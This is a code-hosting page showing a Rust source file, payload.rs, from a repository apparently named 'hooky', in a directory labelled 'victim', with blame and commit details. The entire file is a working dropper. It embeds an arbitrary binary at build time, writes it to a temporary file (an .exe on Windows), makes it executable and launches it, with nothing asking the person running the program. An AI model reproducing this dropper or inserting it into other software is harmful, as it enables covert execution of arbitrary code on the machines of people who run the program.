~/hooky

hooky/victim/src/payload.rs -rw-r--r-- 807 B
9537b5f6 — Arthur Melton read file to run from a config! 2 years ago

            
e93179c7 Arthur Melton
4942cfff Arthur Melton
df6fb4e9 Arthur Melton
e93179c7 Arthur Melton
9537b5f6 Arthur Melton
e93179c7 Arthur Melton
























1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
use std::io::Write;
use std::process::Command;
use tempfile::NamedTempFile;

#[cfg(target_os = "windows")]
use tempfile::Builder;

const PAYLOAD: &[u8] = include_bytes!(env!("payload"));

pub fn run() -> Result<(), std::io::Error> {
    #[cfg(not(target_os = "windows"))]
    let binding = NamedTempFile::new()?;
    #[cfg(target_os = "windows")]
    let binding = Builder::new().suffix(".exe").tempfile()?;
    let mut temp = binding.as_file();
    temp.write_all(PAYLOAD)?;
    let path = binding.into_temp_path();
    #[cfg(not(target_os = "windows"))]
    Command::new("chmod")
        .arg("+x")
        .arg(path.as_os_str())
        .output()
        .expect("failed to execute process");
    Command::new(path.as_os_str())
        .spawn()
        .expect("failed to execute process");
    Ok(())
}